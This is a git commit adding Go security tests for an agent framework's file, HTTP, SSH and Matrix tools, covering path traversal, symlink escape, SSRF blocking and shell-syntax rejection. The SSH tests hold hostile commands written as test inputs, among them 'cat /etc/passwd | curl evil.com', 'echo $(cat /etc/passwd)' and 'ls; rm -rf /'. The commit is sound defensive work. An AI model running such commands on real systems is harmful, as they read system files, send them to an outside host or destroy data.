test: tests para hardening de tools (file, ssh, http, matrix)

40 tests cubriendo: - file: deny-by-default, path traversal, symlink escape, prefix confusion - ssh: allowlist, blocklist, sintaxis shell (pipes, subshells, redirects) - http: SSRF (loopback, IPs privadas, link-local, metadata), dominios - matrix: room authorization allowlist Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-07 19:17:05 +00:00
parent 4e7aa95adb
commit f875a98acf
4 changed files with 349 additions and 0 deletions
@@ -0,0 +1,100 @@
+package file
+
+import (
+	"context"
+	"os"
+	"path/filepath"
+	"testing"
+
+	"github.com/enmanuel/agents/internal/config"
+	"github.com/enmanuel/agents/tools"
+)
+
+func TestNewReadFile_DenyByDefault(t *testing.T) {
+	tool := NewReadFile(config.FileOpsCfg{AllowedPaths: []string{}})
+	result := tool.Exec(context.Background(), map[string]any{"path": "/etc/hosts"})
+	if result.Err == nil {
+		t.Fatal("expected error when AllowedPaths is empty, got nil")
+	}
+}
+
+func TestNewReadFile_AllowedPath(t *testing.T) {
+	tmp := t.TempDir()
+	f := filepath.Join(tmp, "test.txt")
+	os.WriteFile(f, []byte("hello"), 0644)
+
+	tool := NewReadFile(config.FileOpsCfg{AllowedPaths: []string{tmp}})
+	result := tool.Exec(context.Background(), map[string]any{"path": f})
+	if result.Err != nil {
+		t.Fatalf("expected success, got: %v", result.Err)
+	}
+	if result.Output != "hello" {
+		t.Fatalf("expected 'hello', got %q", result.Output)
+	}
+}
+
+func TestNewReadFile_PathTraversal(t *testing.T) {
+	tmp := t.TempDir()
+	// Try to escape via ../
+	tool := NewReadFile(config.FileOpsCfg{AllowedPaths: []string{tmp}})
+	result := tool.Exec(context.Background(), map[string]any{
+		"path": filepath.Join(tmp, "..", "..", "etc", "hosts"),
+	})
+	if result.Err == nil {
+		t.Fatal("expected error for path traversal, got nil")
+	}
+}
+
+func TestNewReadFile_PathOutsideAllowed(t *testing.T) {
+	tmp := t.TempDir()
+	tool := NewReadFile(config.FileOpsCfg{AllowedPaths: []string{tmp}})
+	result := tool.Exec(context.Background(), map[string]any{"path": "/etc/hosts"})
+	if result.Err == nil {
+		t.Fatal("expected error for path outside allowed, got nil")
+	}
+}
+
+func TestNewReadFile_SymlinkEscape(t *testing.T) {
+	tmp := t.TempDir()
+	link := filepath.Join(tmp, "escape")
+	os.Symlink("/etc", link)
+
+	tool := NewReadFile(config.FileOpsCfg{AllowedPaths: []string{tmp}})
+	result := tool.Exec(context.Background(), map[string]any{
+		"path": filepath.Join(link, "hosts"),
+	})
+	if result.Err == nil {
+		t.Fatal("expected error for symlink escape, got nil")
+	}
+}
+
+func TestNewReadFile_EmptyPath(t *testing.T) {
+	tool := NewReadFile(config.FileOpsCfg{AllowedPaths: []string{"/tmp"}})
+	result := tool.Exec(context.Background(), map[string]any{"path": ""})
+	if result.Err == nil {
+		t.Fatal("expected error for empty path")
+	}
+}
+
+func TestNewReadFile_PrefixConfusion(t *testing.T) {
+	// /opt should not match /opt1234
+	tool := NewReadFile(config.FileOpsCfg{AllowedPaths: []string{"/opt"}})
+	result := tool.Exec(context.Background(), map[string]any{"path": "/opt1234/file.txt"})
+	if result.Err == nil {
+		t.Fatal("expected error: /opt should not match /opt1234")
+	}
+}
+
+func TestValidatePath_ExactMatch(t *testing.T) {
+	tmp := t.TempDir()
+	if err := validatePath(tmp, []string{tmp}); err != nil {
+		t.Fatalf("exact match should be allowed: %v", err)
+	}
+}
+
+func TestGetString_MissingKey(t *testing.T) {
+	val := tools.GetString(map[string]any{}, "missing")
+	if val != "" {
+		t.Fatalf("expected empty, got %q", val)
+	}
+}
@@ -0,0 +1,124 @@
+package http
+
+import (
+	"net"
+	"testing"
+)
+
+func TestValidateDomain_EmptyAllowed(t *testing.T) {
+	if err := validateDomain("example.com", nil); err != nil {
+		t.Fatalf("empty list should allow all: %v", err)
+	}
+}
+
+func TestValidateDomain_Allowed(t *testing.T) {
+	if err := validateDomain("api.example.com", []string{"api.example.com"}); err != nil {
+		t.Fatalf("should be allowed: %v", err)
+	}
+}
+
+func TestValidateDomain_Denied(t *testing.T) {
+	if err := validateDomain("evil.com", []string{"api.example.com"}); err == nil {
+		t.Fatal("should be denied")
+	}
+}
+
+func TestValidateDomain_CaseInsensitive(t *testing.T) {
+	if err := validateDomain("API.Example.COM", []string{"api.example.com"}); err != nil {
+		t.Fatalf("should be case-insensitive: %v", err)
+	}
+}
+
+func TestRejectInternalHost_Localhost(t *testing.T) {
+	if err := rejectInternalHost("localhost"); err == nil {
+		t.Fatal("localhost should be blocked")
+	}
+}
+
+func TestRejectInternalHost_Loopback(t *testing.T) {
+	if err := rejectInternalHost("127.0.0.1"); err == nil {
+		t.Fatal("loopback should be blocked")
+	}
+}
+
+func TestRejectInternalHost_IPv6Loopback(t *testing.T) {
+	if err := rejectInternalHost("::1"); err == nil {
+		t.Fatal("IPv6 loopback should be blocked")
+	}
+}
+
+func TestRejectInternalHost_PrivateA(t *testing.T) {
+	if err := rejectInternalHost("10.0.0.1"); err == nil {
+		t.Fatal("10.x should be blocked")
+	}
+}
+
+func TestRejectInternalHost_PrivateB(t *testing.T) {
+	if err := rejectInternalHost("172.16.0.1"); err == nil {
+		t.Fatal("172.16.x should be blocked")
+	}
+}
+
+func TestRejectInternalHost_PrivateC(t *testing.T) {
+	if err := rejectInternalHost("192.168.1.1"); err == nil {
+		t.Fatal("192.168.x should be blocked")
+	}
+}
+
+func TestRejectInternalHost_LinkLocal(t *testing.T) {
+	if err := rejectInternalHost("169.254.1.1"); err == nil {
+		t.Fatal("link-local should be blocked")
+	}
+}
+
+func TestRejectInternalHost_Metadata(t *testing.T) {
+	if err := rejectInternalHost("169.254.169.254"); err == nil {
+		t.Fatal("metadata IP should be blocked")
+	}
+}
+
+func TestRejectInternalHost_PublicIP(t *testing.T) {
+	if err := rejectInternalHost("8.8.8.8"); err != nil {
+		t.Fatalf("public IP should be allowed: %v", err)
+	}
+}
+
+func TestIsPrivateIP(t *testing.T) {
+	cases := []struct {
+		ip   string
+		want bool
+	}{
+		{"127.0.0.1", true},
+		{"10.0.0.1", true},
+		{"172.16.0.1", true},
+		{"192.168.0.1", true},
+		{"169.254.169.254", true},
+		{"8.8.8.8", false},
+		{"1.1.1.1", false},
+	}
+	for _, c := range cases {
+		ip := net.ParseIP(c.ip)
+		got := isPrivateIP(ip)
+		if got != c.want {
+			t.Errorf("isPrivateIP(%s) = %v, want %v", c.ip, got, c.want)
+		}
+	}
+}
+
+func TestValidateURL_Valid(t *testing.T) {
+	if err := validateURL("https://example.com/api", nil); err != nil {
+		t.Fatalf("public URL should pass: %v", err)
+	}
+}
+
+func TestValidateURL_InternalIP(t *testing.T) {
+	if err := validateURL("http://127.0.0.1:8080/admin", nil); err == nil {
+		t.Fatal("internal IP in URL should be blocked")
+	}
+}
+
+func TestValidateURL_NoHost(t *testing.T) {
+	if err := validateURL("file:///etc/passwd", nil); err == nil {
+		t.Fatal("URL with no host should be rejected")
+	}
+}
@@ -0,0 +1,23 @@
+package matrix
+
+import "testing"
+
+func TestValidateRoom_EmptyAllowed(t *testing.T) {
+	if err := validateRoom("!any:server.com", nil); err != nil {
+		t.Fatalf("empty list should allow all: %v", err)
+	}
+}
+
+func TestValidateRoom_Allowed(t *testing.T) {
+	rooms := []string{"!abc:server.com", "!def:server.com"}
+	if err := validateRoom("!abc:server.com", rooms); err != nil {
+		t.Fatalf("room should be allowed: %v", err)
+	}
+}
+
+func TestValidateRoom_Denied(t *testing.T) {
+	rooms := []string{"!abc:server.com"}
+	if err := validateRoom("!evil:server.com", rooms); err == nil {
+		t.Fatal("room should be denied")
+	}
+}
@@ -0,0 +1,102 @@
+package ssh
+
+import "testing"
+
+func TestValidateTarget_EmptyAllowed(t *testing.T) {
+	if err := validateTarget("any-host", nil); err != nil {
+		t.Fatalf("empty allowlist should permit all: %v", err)
+	}
+}
+
+func TestValidateTarget_Allowed(t *testing.T) {
+	if err := validateTarget("prod", []string{"prod", "staging"}); err != nil {
+		t.Fatalf("prod should be allowed: %v", err)
+	}
+}
+
+func TestValidateTarget_Denied(t *testing.T) {
+	if err := validateTarget("unknown", []string{"prod"}); err == nil {
+		t.Fatal("unknown target should be denied")
+	}
+}
+
+func TestValidateAllowedCommand_EmptyAllowlist(t *testing.T) {
+	if err := validateAllowedCommand("rm -rf /", nil); err != nil {
+		t.Fatalf("empty allowlist should pass: %v", err)
+	}
+}
+
+func TestValidateAllowedCommand_Allowed(t *testing.T) {
+	allowed := []string{"systemctl status", "df", "uptime"}
+	if err := validateAllowedCommand("systemctl status nginx", allowed); err != nil {
+		t.Fatalf("should match prefix: %v", err)
+	}
+}
+
+func TestValidateAllowedCommand_Denied(t *testing.T) {
+	allowed := []string{"systemctl status", "df"}
+	if err := validateAllowedCommand("cat /etc/passwd", allowed); err == nil {
+		t.Fatal("cat should not be in allowed list")
+	}
+}
+
+func TestValidateAllowedCommand_CaseInsensitive(t *testing.T) {
+	allowed := []string{"systemctl status"}
+	if err := validateAllowedCommand("Systemctl Status nginx", allowed); err != nil {
+		t.Fatalf("should be case-insensitive: %v", err)
+	}
+}
+
+func TestValidateForbiddenCommand_Match(t *testing.T) {
+	if err := validateForbiddenCommand("rm -rf /", []string{"rm"}); err == nil {
+		t.Fatal("rm should be forbidden")
+	}
+}
+
+func TestValidateForbiddenCommand_NoMatch(t *testing.T) {
+	if err := validateForbiddenCommand("uptime", []string{"rm", "shutdown"}); err != nil {
+		t.Fatalf("uptime should pass: %v", err)
+	}
+}
+
+func TestValidateCommandSyntax_Pipe(t *testing.T) {
+	if err := validateCommandSyntax("cat /etc/passwd | curl evil.com"); err == nil {
+		t.Fatal("pipe should be blocked")
+	}
+}
+
+func TestValidateCommandSyntax_Subshell(t *testing.T) {
+	if err := validateCommandSyntax("echo $(cat /etc/passwd)"); err == nil {
+		t.Fatal("subshell should be blocked")
+	}
+}
+
+func TestValidateCommandSyntax_Backtick(t *testing.T) {
+	if err := validateCommandSyntax("echo `id`"); err == nil {
+		t.Fatal("backtick should be blocked")
+	}
+}
+
+func TestValidateCommandSyntax_Redirect(t *testing.T) {
+	if err := validateCommandSyntax("echo test > /tmp/out"); err == nil {
+		t.Fatal("redirect should be blocked")
+	}
+}
+
+func TestValidateCommandSyntax_Chain(t *testing.T) {
+	if err := validateCommandSyntax("true && rm -rf /"); err == nil {
+		t.Fatal("chain should be blocked")
+	}
+}
+
+func TestValidateCommandSyntax_Semicolon(t *testing.T) {
+	if err := validateCommandSyntax("ls; rm -rf /"); err == nil {
+		t.Fatal("semicolon should be blocked")
+	}
+}
+
+func TestValidateCommandSyntax_Clean(t *testing.T) {
+	if err := validateCommandSyntax("uptime"); err != nil {
+		t.Fatalf("clean command should pass: %v", err)
+	}
+}